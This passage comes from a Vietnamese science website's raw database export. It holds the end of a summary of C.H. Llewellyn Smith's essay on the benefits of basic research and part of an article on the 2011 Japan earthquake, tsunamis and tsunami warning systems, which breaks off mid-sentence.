tuyến tính”, trong đó nghiên cứu cơ bản kéo theo nghiên cứu ứng dụng, để rồi giúp công nghiệp phát triển và cuối cùng là sản phẩm mới. Tiến trình này đã xảy ra trong nhiều trường hợp, nhưng cũng có thể dễ dàng tìm được các trường hợp, trong đó sự tiến bộ của công nghệ lại là cái dẫn đến những tiến bộ trong nghiên cứu cơ bản, như là George Porter (nhận giải thưởng Nobel Hóa học) – người đã chỉ ra rằng “nhiệt động lực học mắc nợ động cơ hơi nước hơn cả động cơ hơi nước mắc nợ khoa học.”</div> <div> <br /> <img alt="" src="/admin/webroot/upload/image/images/2kh.jpg" style="width: 198px; height: 221px;" /><br /> </div> <div> C.H. Llewellyn Smith</div> <div> <br /> Đáng tiếc là, những trường hợp như vậy khiến một số người ủng hộ một mô hình phản tuyến tính. Ví dụ như Terence Kealey vừa mới viết một cuốn sách1 biện luận rằng sự phát triển kinh tế không chịu ảnh hưởng bất cứ thứ gì từ nghiên cứu cơ bản - và vì vậy nên không cần phải nhận được sự hỗ trợ từ Chính phủ. Ông ta chỉ ra một cách xác thực rằng sự phát triển của năng lượng hơi nước, kĩ thuật luyện kim và nhà máy dệt, các yếu tố nền tảng thúc đẩy sự khởi đầu cuộc cách mạng công nghiệp ở Anh, đều là kết quả của tri thức khoa học và các nguyên tắc cơ khí từ thời trước thế kỷ 17, và chẳng hề chịu ảnh hưởng từ bất kì điều gì đến cuộc cách mạng khoa học thế kỉ 17 (cơ học Newton, tích phân, v.v ). Điều này đúng nhưng nó không đúng với nhiều bước phát triển của công nghiệp sau này, mà tôi hi vọng là những ví dụ tôi đưa ra sau đây sẽ chứng minh được.</div> <div> Vậy nên, mối liên hệ giữa khoa học và công nghệ không phải là tuyến tính mà cũng không phải là phản tuyến tính, mà thực tế là rất phi tuyến tính, và người ta đã từng khẳng định rằng2: “nghiên cứu lịch sử những mô hình thành công đã nhiều lần chỉ ra mật độ các tác động tương hỗ giữa các ngành khoa học cơ bản (vốn ban đầu không liên quan tới nhau), công nghệ, và sản phẩm, tấp nập tới mức không thể tách rời và phân biệt, chúng là tất cả các thành phần đan quện chặt chẽ trong cùng một thực thể”. Tuy vậy có thể khẳng định một sự phân biệt trên diện rộng giữa khoa học (tri thức) và công nghệ (cái được ứng dụng từ tri thức) và giữa các hình thức khác nhau của khoa học.</div> <div> Tôi không thích thuật ngữ khoa học cơ bản và khoa học ứng dụng: xét cho cùng ai có thể nói trước cái gì là sẽ ứng dụng được? Tuy nhiên, những thuật ngữ này có thể hữu dụng nếu chúng được định nghĩa dựa trên động cơ thúc đẩy:</div> <div> Khoa học cơ bản – được thúc đẩy bằng sự ham hiểu biết. </div> <div> Khoa học ứng dụng – dành để trả lời cho những câu hỏi cụ thể.</div> <div> Từ định nghĩa này, về sau tôi sẽ biện luận rằng Chính phủ có một trách nhiệm đặc biệt để hỗ trợ cho nghiên cứu cơ bản, trong khi việc đầu tư nghiên cứu ứng dụng nhìn chung có thể nhường lại cho các doanh nghiệp. </div> <div> Tất nhiên, sự phân biệt đó luôn luôn không rõ ràng và thuật ngữ “nghiên cứu chiến lược” thỉnh thoảng được sử dụng để nói về khoa học như một phạm trù trung gian – cái tạo ra cơ hội cao trong việc tạo ra ứng dụng, cho dù có thể nó được thực hiện thuần túy chỉ để thỏa mãn sự tò mò và qua đó dẫn đến những hiểu biết nền tảng mới. Việc nghiên cứu những đặc tính của chất bán dẫn hai chiều là một ví dụ. </div> <div> </div> <div> <strong>2. Lợi ích của khoa học cơ bản</strong></div> <div> <br /> Có thể phân biệt ra bốn nhóm lợi ích, được đề cập lần lượt như sau:</div> <div> Những đóng góp cho văn hóa.</div> <div> Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn. </div> <div> Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp. </div> <div> Giáo dục.</div> <div> <br /> <strong>2.1. Những đóng góp cho văn hóa.</strong></div> <div> <br /> Bob Wilson (giám đốc đầu tiên của Fermilab, một phòng thí nghiệm lớn gần Chicago dành cho vật lý hạt/máy gia tốc) khi được một Ủy ban Quốc hội hỏi rằng “Phòng thí nghiệm của anh sẽ đóng góp gì để bảo vệ nước Mỹ?”. Câu trả lời là: “Không gì cả, nhưng nó sẽ làm cho nước Mỹ đáng được bảo vệ”. Tuy nhiên, nhìn chung các nhà khoa học thường e ngại trong những cuộc tranh luận về sự đóng góp của họ đối với văn hóa, xã hội. Hiện tượng này thực ra có từ rất cổ xưa như trong đoạn đối thoại dưới đây trong cuốn Cộng hòa của Plato:</div> <div> Socrates: Chúng ta có nên coi thiên văn học là một chủ đề đáng nghiên cứu? </div> <div> Glaucon: Tôi cho là nên, hiểu biết về mùa màng, về tháng và năm, sẽ hữu ích cho mục đích quân sự, cũng như trong nông nghiệp và hàng hải.</div> <div> Socrates: Tôi thấy thú vị khi thấy ông e ngại như thế nào, vì sợ rằng mọi người sẽ kết tội ông đã đề nghị nghiên cứu những thứ không có ích lợi gì.</div> <div> Tôi cho rằng các nhà khoa học phải đưa ra các luận điểm có sức thuyết phục về sự đóng góp của khoa học trong thúc đẩy văn hóa. Cụ thể như những kiến thức về hệ Mặt trời, mã di truyền, Mặt trời làm việc như thế nào, tại sao bầu trời lại có màu xanh và sự mở rộng của Vũ trụ làm cách nhìn của chúng ta thay đổi, cuộc sống của chúng ta phong phú lên. Chúng ta cần làm cho mọi người thấy việc phổ cập hóa vật lý hạt cơ bản là có ích không chỉ về kinh tế mà còn về văn hóa, từ đó thuyết phục mọi người rằng nên tiếp tục khám phá biên giới này của tri thức. </div> <div> <br /> <strong>2.2 Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn.</strong></div> <div> <br /> Không quá khó để chỉ ra rằng chi phí cho khoa học cơ bản thường dẫn đến những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn, có khả năng sinh lợi cao và có thể dễ dàng bồi hoàn chi phí đầu tư. Casimir - nhà vật lý lý thuyết nổi tiếng, cựu Giám đốc Nghiên cứu của Philips đã đưa ra một danh sách các ví dụ tuyệt vời3:</div> <div> “Tôi đã được nghe nói rằng vai trò của nghiên cứu hàn lâm trong các cải tiến kỹ thuật là rất ít. Đây là luận điểm ngớ ngẩn nhất trong những điều vô nghĩa nhất mà tôi được biết. Chắc chắn một ai đó suy đoán vẩn vơ rằng liệu tranzito có phải do những người không được đào tạo và không đóng góp gì cho cơ học sóng hay thuyết lượng tử chất rắn tìm thấy. Sự thật là những người phát hiện ra tranzito đều nghiên cứu sâu và có nhiều đóng góp tới thuyết lượng tử chất rắn.</div> <div> Một ai đó có thể hỏi liệu rằng các mạch cơ bản trong máy tính có phải được tìm thấy bởi những người chủ tâm muốn xây dựng máy tính. Đúng là như vậy, chúng đã được phát kiến vào những năm 30 bởi những nhà vật lý muốn đếm các hạt cơ bản bởi vì họ quan tâm đến vật lý hạt nhân.</div> <div> Một ai đó có thể hỏi rằng liệu năng lượng hạt nhân được khám phá bởi vì có những người muốn một nguồn năng lượng mới, hay sự thôi thúc có năng lượng mới đã dẫn đến việc tìm ra hạt nhân. Có thể - nhưng nó đã không xảy ra như vậy.</div> <div> Một ai đó hỏi rằng liệu ngành công nghiệp điện tử có thể tồn tại mà không có những khám phá về electron của những người như Thomson và H.A. Lorentz. Một lần nữa, nó đã không xảy ra như vậy. </div> <div> Tôi nghĩ thật hầu như không có một ví dụ nào của những cải tiến trong thế kỷ 20 mà không mắc nợ khoa học cơ bản.”</div> <div> Những ví dụ của Casimir có một số đặc điểm chung :</div> <div> Những ứng dụng của kiến thức mới có lợi nhuận cao.</div> <div> Những ứng dụng hoàn toàn không được nhìn thấy khi các phát hiện nền tảng được khám phá.</div> <div> Có một khoảng thời gian dài giữa những khám phá nền tảng và những ứng dụng.</div> <div> Nhìn chung các nhà phát minh trong khoa học cơ bản không trở nên giàu có.</div> <div> Đã có một số cố gắng nhằm lượng hóa lợi ích to lớn từ các nghiên cứu nền tảng. Tôi sẽ đề cập 2 ví dụ:</div> <div> 1. Một nghiên cứu gần đây của Tổ chức Khoa học Quốc gia Hoa Kỳ cho thấy rằng 73% các bài báo trích dẫn trong các bằng sáng chế công nghiệp là các nghiên cứu được công bố một cách công cộng, mà phần đông là những bài báo nghiên cứu cơ bản được thực hiện bởi những trường đại học hàng đầu và các phòng thí nghiệm của Chính phủ. 2. Một nghiên cứu có nhiều trích dẫn bởi Mansfield5 vào năm 1991 đã chỉ ra rằng đầu tư của cộng đồng vào khoa học cơ bản có tỉ lệ lợi nhuận là 28%. Con số của Mansfield được lấy ra từ 75 hãng lớn nhất ở Mỹ trong 7 ngành công nghiệp (xử lý thông tin, thiết bị điện, hóa học, dụng cụ, dược phẩm, kim loại và dầu mỏ). Từ ban điều hành nghiên cứu và phát triển của các công ty, Mansfield đã thu thập được thông tin về những sản phẩm mới, sản phẩm được thương mại hóa trong giai đoạn 1975- 1985, mà theo các ban điều hành cho biết thì các sản phẩm này đã không thể ra đời (hoặc chậm hơn rất nhiều) nếu không có các nghiên cứu hàn lâm được thực hiện trong khoảng 15 năm trước khi sáng kiến đầu tiên được công bố. </div> <div> <br /> <strong>2.3. Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp</strong></div> <div> <br /> Với khái niệm những phát hiện ngoài dự kiến, tôi muốn nói về các thiết bị và kĩ thuật được phát triển để tiến hành các nghiên cưu cơ bản nhưng sau này người ta nhận ra cả những lợi ích khác nữa. Tôi đưa ra vài ví dụ từ vật lý hạt cơ bản (nhiều trong chúng có sự đóng góp từ vật lý hạt nhân):</div> <div> Máy gia tốc ( ngày nay có khoảng 10000 máy gia tốc trên thế giới, chỉ có 100 cái trong số đó sử dụng cho mục đích nghiên cứu ban đầu trong vật lý hạt nhân và vật lý hạt cơ bản).</div> <div> - Ngành công nghiệp bán dẫn. </div> <div> - Thức ăn tiệt trùng, y tế, rác thải.</div> <div> - Xử lý bức xạ. </div> <div> - Liệu pháp điều trị ung thư. </div> <div> - Tiêu hủy rác thải hạt nhân. </div> <div> - Thí nghiệm không phá mẫu. </div> <div> - Sản xuất năng lượng (máy khuếch đại năng lượng)</div> <div> - Nguồn cho bức xạ synchrotron (sinh học, vật lý chất ngưng tụ…)</div> <div> - Nguồn cho của Notron ( sinh học, vật lý chất ngưng tụ…)</div> <div> Máy dò hạt.</div> <div> - Máy dò tinh thể</div> <div> (Tinh thể phát triển cho những thí nghiệm ở máy va đập LEP tại CERN mà bây giờ được dùng cho ảnh y tế ở hàng trăm bệnh viện, những tinh thể sẽ thay thế chúng với những đặc tính ưu việt hơn hiện thời vẫn đang được phát triển cho máy LHC tại CERN)</div> <div> - Ảnh y tế</div> <div> - An ninh</div> <div> - Thí nghiệm không phá mẫu</div> <div> - Phục vụ nghiên cứu</div> <div> - Ổ tỉ lệ đa đường dây</div> <div> - Kiểm tra container</div> <div> - Phục vụ nghiên cứu</div> <div> - Máy dò chất bán dẫn</div> <div> - Rất nhiều ứng dụng trong giai đoạn phát triển.</div> <div> Khoa học thông tin</div> <div> +WWW( Một nhóm ở Anh mới đây đã nhận định rằng Web tạo ra 5% doanh thu của các công ty lớn và sẽ tăng lên đến 20% vào cuối thập niên)</div> <div> + Chương trình mô phỏng</div> <div> + Phát hiện lỗi</div> <div> + Hệ điều hành</div> <div> + Kích thích tính toán song song.</div> <div> - Chất siêu dẫn</div> <div> Ảnh cộng hưởng từ hạt nhân</div> <div> Những ứng dụng khác ( kỹ thuật làm lạnh, chân không, kĩ thuật điện, trắc địa…)</div> <div> Có lúc dường như mọi người nghĩ rằng có một danh sách dài các phát kiến từ vật lý hạt cơ bản đủ để chứng minh chi phí cho vật lý cơ bản. Song chứng minh được không phải điều dễ dàng. Tuy nhiên, chắc chắn có thể khẳng định rằng giá trị của những ứng dụng ngoài dự kiến phải được tính tới khi cân nhắc các khoản chi phí cho khoa học cơ bản, và có lẽ đúng là những nhu cầu đặc biệt của ngành vật lý hạt cơ bản, đòi hỏi thiết bị vô cùng tối tân, đã khiến nó sản xuất ra nhiều ứng dụng ngoài dự kiến. Trong thực tế, nhìn chung các nhà kinh tế học ngày càng nhận ra tầm quan trọng của các ứng dụng ngoài dự kiến, đặc biệt là dưới dạng các công cụ được chế ra nhằm phục vụ các nghiên cứu nền tảng. Đa số các thiết bị trong một nhà máy điện tử hiện đại vốn được sinh ra từ những phòng thí nghiệm trong các trường đại học, và có rất nhiều ví dụ tương tự với các công cụ vốn sinh ra để phục vụ trong nghiên cứu vật lý, hóa học, dược học, y tế.</div> <div> Nhìn chung các nhà khoa học cơ bản đều ưu tiên công việc cho phục vụ công bố và đưa ra công khai kết quả mà họ thực hiện, trong khi các nhà khoa học ứng dụng làm việc trong ngành công nghiệp lại thúc đẩy bởi mong muốn bảo vệ, giấu kín và lấy bằng sáng chế. Như vậy có thể xảy ra nghịch lý là có nhiều ứng dụng ngoài dự kiến từ các nghiên cứu cơ bản hơn là từ nghiên cứu ứng dụng. Thậm chí trừu tượng và bí hiểm như thuyết tương đối rộng (lý thuyết của Einstein về lực hấp dẫn) cũng có tạo ra một ứng dụng ngoài dự kiến. Đó là phép lạ phục vụ việc định vị được biết đến với tên gọi là hệ thống định vị toàn cầu (GPS), nó có thể ngay lập tức tự động chỉ cho chúng ta biết vị trí và độ cao chính xác trong phạm vi 10 mét ở tất cả mọi nơi trên Trái đất. Hơn 160 nhà sản xuất khắp thế giới đang phát triển các hệ thống dựa trên công nghệ GPS trong một thị trường nhiều tỉ USD. Các hệ thống này làm việc bằng cách so sánh tín hiệu thời gian nhận được từ các vệ tinh khác nhau. Đồng hồ trong các vệ tinh là những chiếc đồng hồ nguyên tử, vốn xưa kia được tạo ra chỉ để phục vụ nghiên cứu về thuyết tương đối rộng, cụ thể là để kiểm chứng dự đoán của Einstein rằng các đồng hồ sẽ chạy khác nhau trong các trường trọng lực khác nhau. </div> <div> <br /> <strong>2.4. Giáo dục</strong></div> <div> <br /> Làm việc nghiên cứu khoa học cơ bản là một quá trình đào tạo tuyệt vời cho những người muốn sau này làm nghiên cứu ứng dụng hoặc phát triển trong công nghiệp. Hơn nữa, điều này còn tạo ra một mạng lưới liên kết giữa các nhà nghiên cứu trong các ngành công nghiệp khác nhau và trong giới hàn lâm, vốn sẽ không thể tồn tại nếu tất cả sự đào tạo diễn ra bên trong các ngành công nghiệp. Giá trị của mạng lưới ấy ngày càng được các nhà kinh tế học thừa nhận như một lợi ích xã hội đầu tư cho nghiên cứu cơ bản. </div> <div> Cụ thể như với công việc làm thí nghiệm vật lý hạt cơ bản, người ta đánh giá rằng có khoảng 300 bằng tiến sĩ được trao trên toàn thế giới mỗi năm dựa vào công việc làm ở CERN (tính tổng trong toàn bộ lĩnh vực thì có lẽ gấp 2 lần con số này), và ít nhất có một nửa số tiến sĩ đó cuối cùng sẽ làm việc trong công nghiệp hay thương mại, nơi kinh nghiệm của họ đã làm trong các dự án công nghệ cao của các nhóm đa quốc gia tại CERN sẽ trở nên vô cùng cần thiết.</div> <div> Thêm vào đó, có căn cứ cho thấy khoa học cơ bản (ví dụ như trong vật lý, cụ thể là thiên văn học và vật lý hạt cơ bản, với những từ rất quen tai như lỗ đen và hạt quark) đóng một vai trò quan trọng trong việc thu hút sự hứng thú và quan tâm của thế hệ trẻ đến khoa học và công nghệ. Điều này cực kỳ quan trọng mặc dù tác dụng sẽ rất khó được lượng hóa. </div> <div> --------------------------</div> <div> 1. The Economic Laws of Scientific Research, T. Kealey, Macmillan Press, London, 1996. </div> <div> 2. G. Holton, H. Chang và E. Jarkowitz, American Scientists 84, 364, 1996. </div> <div> 3. Trích dẫn trang 198 cuốn “The Life of Sir J.J. Thomson”, Lord Rayleigh, Cambridge University Press, 1942. </div> <div> H.G.B. Casimir, Contribution to Symposium on Technology and World Trade, US Department of Commerce, 16 November 1966.</div> <div> 4. Academic Research and Industrial Innovation, E. Mansfield, Research Policy 20, 1, 1991. </div> <div> </div> <div> THANH LOAN (lược thuật)</div> ', 'images' => '2016062008370187760659a610879e83b0cb7684dc821e.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-20', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66693', 'slug' => 'vai-tro-cua-khoa-hoc-co-ban-1', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '719', 'rght' => '720', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '414', 'name' => 'Động đất và sóng thần: nguồn năng lượng hủy diệt', 'code' => null, 'alias' => 'dong-dat-va-song-than-nguon-nang-luong-huy-diet', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Trận động đất cường độ 9 độ Richter xảy ra ngoài khơi vùng biển Đông Bắc Nhật Bản ngày 11/3/2011 và đợt sóng thần tiếp theo đó đã gây ra những thiệt hại nghiêm trọng cho đất nước Nhật Bản. Để có một khái niệm về cường độ năng lượng giải phóng, ta có thể nói là quả bom hạt nhân ném xuống Hiroshima năm 1945 chỉ tương đương với một trận động đất 5,7 độ Richter.</div> <div> <br /> <strong>Động đất</strong></div> <div> <br /> Trận động đất vừa qua ở Nhật Bản gây nhiều thiệt hại do các xung động của chính nó hay của các dư chấn mà cường độ có thể lên đến 6 độ Richter. Những thiệt hại về tài sản trên các công trình xây dựng đều rất lớn, đó là chưa kể đến thảm hoạ hạt nhân, mặc dù được hạn chế đến mức tối đa, xảy ra khi lò phản ứng Fukushima 1 bị nóng chảy tâm lò sau sự cố LOCA (mất nước làm lạnh) và gian lò bị nổ. Năm 2007, một trận động đất gây ảnh hưởng đến nhà máy điện hạt nhân Kashiwazaki-Kariwa lớn nhất ở Nhật Bản, nhưng may là người ta đã ngừng lò kịp.</div> <div> </div> <div> Trong lịch sử thế giới, các trận động đất lớn đã gây tử vong cho khoảng 6,5 triệu người, chủ yếu là ở Trung Quốc (3 triệu) và Trung Đông (1,5 triệu). Bảng 1 liệt kê 10 trận động đất lớn nhất trong thế kỷ 20 và số tử vong chúng gây ra. Trong trường hợp trận động đất ở Sumatra-Andaman năm 2004, số tử vong cao là hậu quả của đợt sóng thần lan đến nhiều nước trong vùng Ấn Độ dương. Số tử vong ở Haiti năm 2010 lên rất cao vì đây là một nước nghèo, các điều kiện bảo vệ và chống động đất quá yếu kém. Trận động đất ở Nhật Bản lần này, theo nhiều chuyên gia, có thể được xem là trận lớn thứ 5 trong lịch sử.</div> <div> <br /> Bảng 1 Mười trận động đất lớn nhất trong thế kỷ 20</div> <div> </div> <div> Năm Địa điểm Cường độ Số tử vong</div> <div> </div> <div> 2010 Haiti 7 200.000-300.000</div> <div> 2004 Sumatra-Andaman 9,3 283.100</div> <div> 1976 Đường Sơn (Trung Quốc) 7,5 255.000</div> <div> 1920 Hải Nguyên (Trung Quốc) 7,8 200.000</div> <div> 1923 Kanto (Nhật Bản) 7,9 142.800</div> <div> 1948 Ashgabat (Turkmenistan) 7,3 110.000</div> <div> 2005 Pakistan 7,6 86.000</div> <div> 1908 Messina (Ý) 7,2 72.000</div> <div> 1970 Chimbote (Pêru) 7,9 70.000</div> <div> 1990 Iran 7,4 40.000-50.000</div> <div> </div> <div> Động đất liên quan đến các mảng kiến tạo của Trái Đất và chúng xảy ra ở những nơi các mảng này tiếp xúc với nhau, ở đây có những chuyển động của vỏ Trái Đất. Nếu một mảng kiến tạo chui xuống dưới một mảng khác thì ta có hiện tượng hút chìm-nơi tích tụ nhiều năng lượng của các lực căng chỉ đợi được giải phóng ra bằng các trận động đất. Trên thế giới, người ta biết là có đến 4000 km biên giới của các vùng hút chìm và Nhật Bản nằm trên một vùng hút chìm quan trọng, nơi mảng kiến tạo Thái Bình Dương đang chìm xuống dưới nước Nhật. Tiêu điểm của trận động đất (chấn tiêu) thường nằm sâu dưới mặt đất. Từ đấy các sóng địa chấn được truyền đi và các máy ghi địa chấn có thể xác định vị trí của chấn tiêu cũng như của tâm chấn ngoài, tức là điểm trên mặt đất nằm ngay trên chấn tiêu. Trên hình 1, ta có bản đồ các trận động đất gần đây nhất đã được Cục Khảo sát Địa chất Mỹ (USGS) vẽ ngày 27 tháng 1-2011. Các địa điểm động đất đều nằm trên các đường nứt gãy có liên quan đến các mảng kiến tạo. Ta cũng thấy là USGS có ghi trận động đất xảy ra tháng 11/2007 có cường độ 4,5-5 độ Richter ngoài khơi Vũng Tàu trên đới đứt gãy dọc bờ biển miền Nam Trung Bộ.</div> <div> </div> <div> <br /> <img alt="" src="/admin/webroot/upload/image/images/tho nhan 1inter.jpg" style="width: 480px; height: 246px;" /><br /> </div> <div> Hình 1 Bản đồ các trận động đất trên thế giới (USGS, IRIS)</div> <div> </div> <div> </div> <div> Các trận động đất thường chỉ kéo dài vài giây đồng hồ nhưng cũng đủ để gây ra những thiệt hại vô cùng lớn. Trận động đất năm 2004 ở Sumatra kéo dài đến 9 phút, trong khi trận động đất vừa qua ở Nhật Bản kéo dài 2 phút.</div> <div> </div> <div> <strong>Sóng thần</strong></div> <div> <br /> Nếu động đất xảy ra trong đất liền thì ít có khả năng có sóng thần đi kèm theo trừ khi các biển nội địa hay các hồ nước lớn bị tác động bởi những dịch chuyển của đất đá dưới mặt nước. Nhưng khi động đất xảy ra ngoài biển và có cường độ hơn 6,5 độ Richter thì có thể sinh ra sóng thần có sức tàn phá rất lớn như chúng ta thấy tại Nhật vừa qua hay ở các nước Nam Á năm 2004. Các đợt sóng thần mang theo lượng năng lượng khổng lồ vì chúng do những khối lượng nước rất lớn tạo ra sau khi có một trận động đất bất thình lình dịch chuyển một diện tích đáy biển hàng nghìn cây số vuông chỉ trong vài giây đồng hồ rồi truyền năng lượng thẳng lên bề mặt.</div> <div> </div> <div> Sóng thần có thể gây ra do lở đất dưới biển hoặc do các trường hợp hiếm gặp hơn như phun trào núi lửa hay phun trào dung nham dưới nước. Nó cũng có thể có nguồn gốc từ một vụ va chạm của một hành tinh nhỏ khi rơi xuống đáy đại dương. Ngày 18/11/1927, một trận động đất M7,2 ở 300 km phía nam Newfoundland (Bắc Canada) đã gây ra một vụ lở đất dưới biển làm dịch chuyển 200 km3 đất và vụ lở đất ở Storegga ngoài khơi Na Uy 79.000 năm trước đây làm cho 1000 km3 trầm tích biển sụp đổ. Ngày 26/12/2004, trận động đất M9 ngoài khơi Sumatra (Indonesia) đã nâng một dải đáy biển dài 1200 km lên cao 8 m, chấn tiêu của nó nằm dưới sâu 30 km.</div> <div> </div> <div> Lực duy trì sóng trong cột nước biển sau khi đáy biển bị nhiễu loạn là lực trọng trường. Sức mạnh của nó tuỳ thuộc vào cường độ của nhiễu loạn ban đầu, khoảng cách di chuyển của sóng, hình thái mặt đáy biển, khả năng các lớp đất đá hấp thụ hết năng lượng cũng như hình dáng bờ biển. Tốc độ di chuyển của sóng có thể lên đến vài trăm cây số một giờ và sóng thần có thể vượt qua hàng nghìn cây số đại dương trong vài tiếng đồng hồ. Bước sóng của nó - khoảng cách giữa hai làn sóng nối tiếp nhau - có thể là vài trăm cây số. Ngoài biển khơi, sóng thần rất khó phát hiện và chiều cao của sóng chỉ là vài chục cm gần nơi xảy ra nhiễu loạn. Các vệ tinh như Topex-Poseidon hay ERS-1 đã có thể đo độ cao sóng biển với độ chính xác vài cm. Tuy nhiên, cũng như các loại sóng khác, khi chúng tiến vào các vùng nước cạn gần bờ, nhiều thay đổi sẽ xảy ra, bước sóng rút xuống còn từ 10 đến 20 km, khi nước có tốc độ cao đến đẩy các luồng sóng đi trước, chiều cao của chúng tăng lên, đôi khi đạt đến vài chục mét và tiến sâu vào đất liền, tàn phá những vùng đất thấp dọc bờ biển. Sóng thần ở Sendai, Nhật Bản hôm 11/3 vừa qua cao đến 10 mét. Năm 1755, tiếp theo một trận động đất M9, đợt sóng thần ở Lisbon (Bồ Đào Nha) có độ cao trên 30 mét và năm 1883, sóng thần do hoạt động núi lửa Krakatoa ở Indonesia gây ra có độ cao lên đến 40 mét. Năm 1737, một trận động đất gần bán đảo Kamchatka gây nên một đợt sóng thần cao 50 mét khi chúng tiến đến đảo Kurile.</div> <div> </div> <div> Những vùng nhạy cảm nhất đối với sóng thần nằm dọc bờ biển Thái Bình Dương, ở đây có đến 85% toàn bộ các đợt sóng thần do động đất gây ra vì đại dương rất rộng và có nhiều hoạt động địa chấn và núi lửa của mảng kiến tạo Thái Bình Dương. Theo ước tính, trong thế kỷ 20 vừa qua có chừng 50.000 người tử vong do khoảng 400 đợt sóng thần gây ra. Bước vào thế kỷ 21, đợt sóng thần Sumatra-Andaman cuối năm 2004 đã làm 230.000 người chết chỉ trong vòng vài tiếng đồng hồ và có đến hàng triệu người bị mất nhà cửa. Bảng 2 liệt kê 10 đợt sóng thần gây nhiều thiệt hại nhất trong lịch sử, các số liệu ở các thế kỷ 18-19 chỉ có một độ chính xác tương đối.</div> <div> </div> <div> <strong>Bảng 2 Những đợt sóng thần gây nhiều thiệt hại nhất trong lịch sử</strong></div> <div> </div> <div> Số nạn nhân Năm Địa điểm</div> <div> 230.000 2004 Sumatra-Andaman (Indonesia)</div> <div> 60.000 1755 Lisbon (Bồ Đào Nha)</div> <div> 40.000 1782 Đài Loan</div> <div> 36.500 1883 Krakatoa (Indonesia)</div> <div> 30.000 1701 Tokaido-Nankaido (Nhật Bản)</div> <div> 26.360 1896 Sanriku (Nhật Bản)</div> <div> 25.674 1868 Bắc Chi Lê</div> <div> 15.030 1792 Kyushu (Nhật Bản)</div> <div> 13.481 1771 Ryukyu (Nhật Bản)</div> <div> 8.000 1976 Vịnh Moro (Philippin)</div> <div> </div> <div> <strong>Dự báo sóng thần và các phương pháp tiếp cận giảm thiểu tác hại</strong></div> <div> <br /> Sóng thần được hiểu rõ hơn động đất nhưng đối với các sóng thần do động đất gây ra, việc dự báo dài hạn cũng rất khó. Mặt khác, nguyên tắc dự báo ngắn hạn thì tương đối đơn giản, ít ra cũng trên mặt lý thuyết: thu thập các thông tin về biến dạng của đáy biển trong các đại dương rồi truyền theo thời gian thật đến các chuyên gia ở các trung tâm chuyên trách để tính cường độ của hiểm hoạ và lấy quyết định sơ tán vùng bị đe doạ. Đối với các sóng thần vượt đại dương, người ta có thể có khoảng thời gian nhiều giờ giữa trận động đất và lúc sóng thần ập đến. Vị trí và quy mô của trận động đất có thể được xác định nhanh chóng và chính xác nhờ các quan trắc địa chấn và sự hình thành cũng như sự lan truyền của sóng thần có thể được xác nhận bởi các hệ thống quan sát mực nước biển ngoài khơi như các cảm biến đo áp suất đặt dưới đáy biển. Khoảng 10 phút giữa chấn động đầu tiên và lúc các luồng sóng gây chết người ập đến cũng đủ để người dân chạy thoát khỏi các vùng nguy hiểm, cứu được hàng trăm nghìn nhân mạng và cả tài sản của họ.<br /> </div> <div> <span style="display: none;"> </span><img alt="" src="/admin/webroot/upload/image/images/Tho Nhan 2inter.jpg" style="width: 480px; height: 308px;" /><span style="display: none;"> </span></div> <div> </div> <div> </div> <div> Hình 2 Bản đồ các trạm DART tại khu vực Thái Bình Dương</div> <div> </div> <div> </div> <div> Một loạt trạm cảnh báo đặt chung quanh Thái Bình Dương để đo bất kỳ một hoạt động bất thường nào của thuỷ triều hay sóng biển tiếp theo một sự kiện địa chấn. Hệ thống Cảnh báo Đánh giá Sóng thần ngoài Biển khơi (DART, Deep Ocean Assessment Reporting of Tsunami) đã được đặt ở Thái Bình Dương, dọc vùng hút chìm Alaska, nơi phát sinh nguy hiểm của các đợt sóng thần trên bờ biển phía Tây nước Mỹ và Hawaii cũng như đối với các nước khác ven bờ Thái Bình Dương. Trên hình 2, ta có hệ thống các trạm DART đã có (6 trạm) và gần 40 trạm đã lên kế hoạch xây dựng tiếp theo thảm hoạ sóng thần Sumatra-Andaman năm 2004. Mỗi trạm gồm một địa chấn kế, máy đo áp lực của sóng trên đáy biển, các cột mộc thuỷ triều và các hệ thống truyền tín hiệu đến các nhà khoa học để đánh giá tính nguy hiểm của chúng. Ở Nhật, cảnh báo sóng thần được truyền đi chỉ từ 2 đến 5 phút sau động đất rồi chuyển đến dân cư vùng biển nhờ các phương tiện truyền thông.</div> <div> </div> <div> Người dân Nhật được giáo dục kỹ về các hiểm họa của sóng thần và cách ứng xử khi nhận được cảnh báo nhờ thế mà số thương vong có thể được giảm đi rất nhiều. Các hướng dẫn về những điều phải làm sau cảnh báo sóng thần đầu tiên do cơ quan khí tượng Nhật Bản 